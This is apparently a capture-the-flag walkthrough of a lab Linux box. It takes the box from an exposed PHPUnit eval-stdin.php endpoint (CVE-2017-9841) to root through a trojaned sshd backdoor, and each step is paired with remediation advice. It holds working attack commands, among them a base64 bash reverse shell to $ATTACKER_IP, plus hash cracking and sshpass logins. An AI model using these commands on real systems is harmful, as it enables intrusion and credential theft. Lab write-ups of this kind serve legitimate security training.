← all walkthroughs

Undetected

Linux· Medium· Privilege Escalation
owned
2026-07-15
time to own
10m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and discovered two virtual hosts serving a jewellery store application (djewelry.htb and store.djewelry.htb). Directory brute-forcing of the store subdomain surfaced an exposed /vendor path whose Apache directory listing revealed an unpatched PHPUnit installation; a single unauthenticated POST to eval-stdin.php (CVE-2017-9841) delivered a reverse shell as the www-data web service account. From that foothold my found a hidden, encoded backup file at /var/backups/info readable by the web service account, decoded it to recover a Unix password hash for the local user steven, and cracked the hash offline with rockyou.txt to pivot to an SSH session as steven (user flag captured).

The privilege escalation route was a pre-planted supply-chain backdoor: the system SSH daemon binary had been silently replaced with a trojaned version containing an XOR-obfuscated hardcoded magic password. Reverse-engineering the binary in Ghidra exposed that secondary authentication branch, allowing direct root login over SSH and full system compromise (root flag captured).

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationNetwork port scanning and virtual-host enumeration (T1595.001, T1046)
Identified open services and discovered two application virtual hosts
A port scan against $TARGET confirmed SSH on 22/tcp (OpenSSH 8.2) and HTTP on 80/tcp (Apache 2.4.41 on Ubuntu). The HTTP response referenced the hostname djewelry.htb; virtual-host fuzzing uncovered a second subdomain, store.djewelry.htb. Both names were registered in the local resolver before further assessment.
Exact commands 3
Full TCP port scan with service version detection and default scripts.
nmap -sV -sC -p- --min-rate 5000 $TARGET
Register both vhosts for local DNS resolution.
echo "$TARGET djewelry.htb store.djewelry.htb" | sudo tee -a /etc/hosts
Fuzz for additional virtual host names against the target IP.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.djewelry.htb' -fc 301,302
2EnumerationWeb content discovery — directory listing exposing vendor directory (T1083)
Brute-forced the store subdomain and exposed a PHPUnit vendor directory
Directory brute-forcing of store.djewelry.htb returned a /vendor path that responded with Apache directory listing active. Browsing the listing revealed a full Composer vendor tree, including PHPUnit at /vendor/phpunit/phpunit. The eval-stdin.php helper file shipped with PHPUnit versions <= 5.6.2 — the file at the centre of CVE-2017-9841 — was confirmed reachable at an HTTP 200 response.
Gobuster reported /vendor (HTTP 301 → listing enabled); /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php returned HTTP 200.
Exact commands 2
Brute-force directories on the store virtual host.
gobuster dir -u http://store.djewelry.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 40
Confirm the eval-stdin.php endpoint is live (expect 200).
curl -s -o /dev/null -w '%{http_code}' http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
FixRemove development Composer packages from the production web root and disable directory listingCritical
WeaknessThe store.djewelry.htb web root contained a full /vendor Composer tree, including PHPUnit <= 5.6.2, which ships eval-stdin.php — a file that passes the raw HTTP POST body to PHP's eval() with no authentication. Apache directory listing was also enabled on /vendor, advertising the attack path to any visitor.
FixDelete the /vendor directory from the production document root entirely. In CI/CD, separate build and deploy artifacts: run 'composer install --no-dev' before packaging so development libraries are never copied to production. Disable Apache directory listing globally by setting 'Options -Indexes' in the server or vhost configuration. Run 'composer audit' regularly to detect known-vulnerable packages in your vendor tree. If PHPUnit must be present in a non-public directory for any reason, block HTTP access to it via a location deny rule.
3ExploitationCVE-2017-9841 — PHPUnit eval-stdin.php unauthenticated remote code execution
Exploited CVE-2017-9841 in PHPUnit for unauthenticated remote code execution
PHPUnit's eval-stdin.php passes the raw HTTP POST body directly to PHP's eval(), with no authentication or filtering. I POSTed a PHP payload wrapping a base64-encoded bash reverse shell, triggering a callback on their listener as UID 33 (www-data). The working directory of the resulting shell confirmed the execution context was inside the web root.
Uid=33(www-data) gid=33(www-data) groups=33(www-data); pwd: /var/www/store/vendor/phpunit/phpunit/src/Util/PHP
Exact commands 4
Start the reverse-shell listener on my machine (run in background).
nc -lvnp 4444
Generate base64-encoded reverse shell payload; replace $ATTACKER_IP with your tun0 IP and copy the output as PAYLOAD.
echo -n "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" | base64 -w0
POST the exploit payload; replace PAYLOAD with the base64 string from the previous step.
curl -s -X POST 'http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' --data '<?php system(base64_decode("PAYLOAD")); ?>'
Confirm code execution context and locate the user flag path.
id; pwd; find / -name user.txt 2>/dev/null
4Post-ExploitationCredential discovery via file system enumeration (T1552.001)
Discovered a hidden encoded backup file containing a local user's password hash
Searching the filesystem for files owned by www-data returned an unexpected artefact: /var/backups/info. The file contained layered encoding — base64 over hex — which, when decoded, revealed a Unix shadow-format password hash (sha-512crypt, $6$) for the local system account steven. The presence of this file indicates the host had previously been compromised and a credential-harvesting artefact was left behind.
Find / -user www-data output: /var/backups/info; decoded content yielded a $6$ sha-512crypt hash for user steven.
Exact commands 3
Enumerate all files owned by www-data to surface unexpected artefacts.
find / -user www-data 2>/dev/null | grep -v '/proc\|/sys\|/run'
Decode the double-encoded file (base64 then hex) to recover the password hash.
cat /var/backups/info | base64 -d | xxd -r -p
Save the decoded hash to a temporary file for transfer to my machine.
cat /var/backups/info | base64 -d | xxd -r -p > /tmp/steven_hash.txt
FixRemove credential material from web-service-account-readable locations and enforce strict file permissionsHigh
WeaknessA backup file at /var/backups/info was readable by the www-data web service account and contained an encoded Unix password hash for a privileged local user. Any code-execution flaw in the web tier — as demonstrated by CVE-2017-9841 — immediately yielded crackable credentials, enabling lateral movement to an interactive account without any additional exploitation.
FixAudit /var/backups and all directories readable or writable by web service accounts (www-data, apache, nginx) for files containing password hashes, private keys, tokens, or encoded credentials. Remove or relocate them to root-owned, mode-600 paths outside any web-accessible or service-account-readable directory. Apply a password rotation policy so that any hash captured before this remediation cannot be reused after a breach. Consider whether any encoded artefact from a previous compromise has been left behind and treat the host's credential set as already exposed.
5Lateral MovementOffline password cracking (T1110.002) and SSH lateral movement with cracked credentials (T1021.004)
Cracked the password hash offline and pivoted to an SSH session as steven
The sha-512crypt hash was transferred to my machine and submitted to hashcat with the rockyou.txt wordlist. The plaintext password '[REDACTED: recovered credential]' was recovered. SSH login to the target as steven1 with this password succeeded, providing an interactive shell at UID 1000. The user flag was read from steven's home directory.
Hashcat cracked hash to '[REDACTED: recovered credential]'; validated: steven1:[REDACTED: recovered credential] → uid=1000(steven) gid=1000(steven) groups=1000(steven); user.txt captured.
Exact commands 2
Crack the sha-512crypt ($6$) hash; change -m to 500 if the hash is MD5-crypt ($1$).
hashcat -m 1800 steven_hash.txt /usr/share/wordlists/rockyou.txt --force
Authenticate as steven1 with the cracked password and read the user flag (returns <user.txt>).
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null steven1@$TARGET 'id; cat ~/user.txt'
6DiscoveryStatic reverse engineering of a trojanised system binary to extract backdoor credential (T1554, T1195.002)
Reverse-engineered the trojaned sshd binary and extracted the hardcoded backdoor password
With interactive access as steven, I copied /usr/sbin/sshd to their local machine. Its SHA-256 hash did not match the authentic openssh-server package binary for Ubuntu 20.04, confirming tampering. Loading the binary in Ghidra revealed a modified password-verification function: alongside the normal PAM path there was a secondary branch that XOR-decoded a constant byte sequence embedded in the text segment and compared the result against the caller-supplied password. A match on any account triggered a direct root grant, bypassing /etc/shadow, authorized_keys, and all PAM modules. Tracing the XOR loop yielded the magic password '[REDACTED: recovered credential]'.
Sshd SHA-256 mismatch against Ubuntu 20.04 openssh-server package; Ghidra decompilation confirms XOR decode loop with hardcoded key leading to a root-granting strcmp branch.
Exact commands 4
Exfiltrate the sshd binary to my machine for static analysis.
sshpass -p "$PASSWORD" scp -o StrictHostKeyChecking=no steven1@$TARGET:/usr/sbin/sshd ./sshd_trojan
Compare against the expected hash from a clean Ubuntu 20.04 openssh-server package to confirm modification.
sha256sum sshd_trojan
Quick triage: look for suspicious embedded strings, non-standard constants, or recognisable fragments of the XOR key.
strings sshd_trojan | grep -E '.{20,}' | head -60
Locate the XOR decode loop and adjacent comparison; load in Ghidra for full decompilation to trace the XOR key and recover the decoded magic password.
objdump -d sshd_trojan | grep -B2 -A40 'xor\|strcmp\|strncmp' | head -120
FixReplace the trojaned SSH daemon, rotate all credentials, and deploy file integrity monitoringCritical
WeaknessThe production SSH daemon binary (/usr/sbin/sshd) had been replaced with a backdoored version that contained a hardcoded magic password granting direct root login over SSH, bypassing PAM, authorized_keys, and all normal access controls. This persistent supply-chain implant survived reboots and account management changes, giving anyone who knew the password unconditional root access.
FixImmediately reinstall the authentic openssh-server package from Ubuntu's official signed repository ('apt-get install --reinstall openssh-server') and verify the binary against the package manifest ('dpkg --verify openssh-server'). Rotate all SSH keys and passwords for every account on the system and treat the host as fully compromised pending a clean OS reinstallation. Deploy a file integrity monitoring agent (e.g., AIDE, Wazuh) with a signed baseline covering all binaries in /usr/sbin, /usr/bin, /sbin, and /bin, configured to alert immediately on any modification or checksum change. Investigate audit logs and authentication records to determine when and how the backdoor was first planted to close the original entry vector.
7Privilege EscalationBackdoor credential abuse for unauthenticated root access via SSH (T1078.003)
Authenticated directly as root over SSH using the sshd backdoor password
With the magic password recovered from binary analysis, I opened an SSH session to the root account on the target. The trojaned sshd accepted the credential and returned a root shell without invoking PAM, checking authorized_keys, or enforcing any other normal access control. The root flag was read from /root/root.txt, completing full host compromise.
Uid=0(root) gid=0(root) groups=0(root); root.txt read from /root/root.txt.
Exact commands 1
Authenticate as root using the backdoor magic password extracted from the trojaned sshd; returns uid=0(root) and <root.txt>.
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 root@$TARGET 'id; cat /root/root.txt'

Exposed services

22/tcp
80/tcp